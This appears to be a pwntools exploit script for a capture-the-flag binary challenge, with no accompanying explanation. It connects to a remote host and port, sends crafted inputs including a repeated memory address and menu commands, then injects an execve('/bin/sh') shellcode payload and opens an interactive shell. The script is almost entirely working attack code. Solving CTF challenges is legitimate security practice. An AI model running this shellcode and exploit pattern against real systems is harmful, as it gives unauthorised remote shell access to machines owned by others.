#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/0A77F6D4BD5CB2700A89F9C6F8D8F116")
else:
    p = remote("106.75.37.31", 23333)

def exp():
    p.recvuntil("Fight!\n")
    for i in range(30):
        p.sendline(str(0x602088))

    p.sendline('m')
    p.sendline('w')
    p.sendline('w')
    p.sendline('w')
    p.sendline('-')
    raw_input("bp")
    payload="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    p.sendline('q'+'a'*7+payload)

    p.interactive()


exp()